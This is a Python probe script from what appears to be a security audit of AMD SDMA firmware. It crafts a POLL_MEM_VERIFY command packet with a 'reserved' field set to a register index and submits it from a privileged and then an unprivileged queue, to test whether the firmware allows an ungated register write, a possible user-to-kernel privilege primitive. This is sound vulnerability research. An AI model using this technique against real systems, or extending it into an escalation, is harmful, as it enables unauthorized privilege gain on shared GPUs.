#!/usr/bin/env python3
"""Does SDMA's POLL_MEM_VERIFY write a register at a host-chosen index, ungated?

Static lead (`../AUDIT-SDMA-01.md`): the `POLL_REGMEM/POLL_MEM_VERIFY` handler (key
0x0830, entry 0x074f) pulls 12 dwords off the command queue and the **12th** ends up as
a register index for a store:

    0785  mov r5, r1            ; 12th host dword -- "RESERVED" in the published ABI
    0787  cbz r7, ...           ; r7 = header bit 31 = the ABI's `mode` field
    0792  ldw r11, mem[r0, #0]  ; value read back from the compared memory
    079e  stw r11, reg[r5, #0]  ; <-- register index is the host dword

`SDMA_PKT_POLL_MEM_VERIFY_RESERVED_reserved_offset` is 12, i.e. the field the ABI
declares reserved is consumed by the firmware as a register number. Unlike SRBM_WRITE
(gated on RB_PRIV, proven in sdma_srbm_probe.py), this handler shows no privilege check.

If that reading is right, an **unprivileged** queue can write a register -- which
SRBM_WRITE refuses it. That would be a genuine user->kernel primitive, so it needs a
hardware answer rather than a plausible-looking listing.

Packet (navi10_sdma_pkt_open.h):
    dw0  header: op=8, sub_op=3, mode=bit31
    dw1  pattern
    dw2/3, dw4/5   cmp0 start/end (64-bit)
    dw6/7, dw8/9   cmp1 start/end (64-bit)
    dw10/11        rec addr
    dw12           RESERVED  <- the register index under test

Addresses are MC addresses (PTEPDE probe showed the engine faults on raw physical) and
32-byte aligned (the handler checks `and r2, r3, #0x1f`). The target register is a GRBM
scratch register, so a successful write has no side effects.

usage: PYTHONPATH=/root/psp/tinygrad sdma_memverify_probe.py --apply
"""
import argparse
import os
import struct
import sys

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from sdma_srbm_probe import Probe, SDMA_OP_NOP                    # noqa: E402

SDMA_OP_POLL_REGMEM = 8
SUBOP_MEM_VERIFY = 3
FILL = 0xC0DEFACE


def pkt(mode, cmp0, cmp1, rec, reserved, pattern=FILL):
    hdr = SDMA_OP_POLL_REGMEM | (SUBOP_MEM_VERIFY << 8) | ((mode & 1) << 31)
    def lo(x): return x & 0xffffffff
    def hi(x): return (x >> 32) & 0xffffffff
    return [hdr, pattern,
            lo(cmp0), hi(cmp0), lo(cmp0 + 0x20), hi(cmp0 + 0x20),
            lo(cmp1), hi(cmp1), lo(cmp1 + 0x20), hi(cmp1 + 0x20),
            lo(rec), hi(rec), reserved]


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--target', default='regGRBM_SCRATCH_REG0')
    args = ap.parse_args()
    if not args.apply:
        print('dry run')
        return 0

    from tinygrad import Device
    adev = Device["AMD"].iface.dev_impl
    treg = adev.reg(args.target)
    tidx = treg.addr[0]
    p = Probe(adev)
    cmp0 = adev.mm.palloc(0x1000, zero=True, boot=False)
    cmp1 = adev.mm.palloc(0x1000, zero=True, boot=False)
    rec = adev.mm.palloc(0x1000, zero=True, boot=False)
    mc = adev.paddr2mc
    print('target %s idx 0x%x; cmp0 mc 0x%x cmp1 mc 0x%x rec mc 0x%x' % (
        args.target, tidx, mc(cmp0), mc(cmp1), mc(rec)))

    # fill the compared regions with a recognisable value
    blob = struct.pack('<8I', *([FILL] * 8))
    for b in (cmp0, cmp1):
        adev.vram.view(b, 0x20)[:] = blob
    adev.gmc.flush_hdp()

    # Aim at an F32 index we have actually identified. The earlier version of this
    # probe used the *host* register index (0x2040 for GRBM_SCRATCH_REG0), but
    # reg[r5] indexes the F32 namespace, which AUDIT-SDMA-01 showed does not align
    # with the host's -- so a miss proved nothing. sdma_srbm_probe.py established
    # [HW] that F32 index 0x5940 is this queue's RB_CNTL, which the host can read,
    # so that is the one target where success and failure are both meaningful.
    # mode=0 is skipped: POLL_MEM_VERIFY then polls forever and wedges the queue.
    RB_CNTL_F32_IDX = 0x5940
    results = {}
    for priv in (1, 0):
        for mode in (1,):
            label = 'RB_PRIV=%d mode=%d' % (priv, mode)
            if priv == 1:
                p.setup(rb_priv=1)
            else:
                p.reg('_RB_CNTL').update(rb_priv=0)
            before = p.reg('_RB_CNTL').read()
            ok, _ = p.submit([SDMA_OP_NOP])
            if not ok:
                print('  %-22s queue not running -- inconclusive' % label)
                results[(priv, mode)] = None
                continue
            ok2, dt = p.submit(pkt(mode, mc(cmp0), mc(cmp1), mc(rec),
                                   RB_CNTL_F32_IDX))
            after = p.reg('_RB_CNTL').read()
            print('  %-22s consumed=%-5s (%.1f ms) -> RB_CNTL 0x%08x -> 0x%08x %s' % (
                label, ok2, 1000 * dt, before, after,
                'CHANGED' if after != before else 'unchanged'))
            results[(priv, mode)] = (ok2, after != before)

    print('\n=== result')
    wrote = {k: v for k, v in results.items() if v and v[1]}
    print('  (target: F32 index 0x5940 = queue RB_CNTL, the one index we have named)')
    if not wrote:
        print('  POLL_MEM_VERIFY never wrote the target register.')
        print('  The static reading (host dword 12 -> register index) is NOT confirmed:')
        print('  either the path was not taken, the index is transformed, or the write')
        print('  goes somewhere else. No primitive demonstrated.')
    else:
        for (priv, mode), _ in sorted(wrote.items()):
            print('  RB_CNTL changed with RB_PRIV=%d mode=%d' % (priv, mode))
        if any(k[0] == 0 for k in wrote):
            print('  *** UNGATED REGISTER WRITE: an unprivileged queue set a register')
            print('  *** that SRBM_WRITE refuses it. This is a privilege primitive.')
        else:
            print('  only with RB_PRIV=1 -> gated after all, same trust model as')
            print('  SRBM_WRITE; not a primitive.')
    print('\nqueue alive at end: %s' % p.submit([SDMA_OP_NOP])[0])
    return 0


if __name__ == '__main__':
    raise SystemExit(main())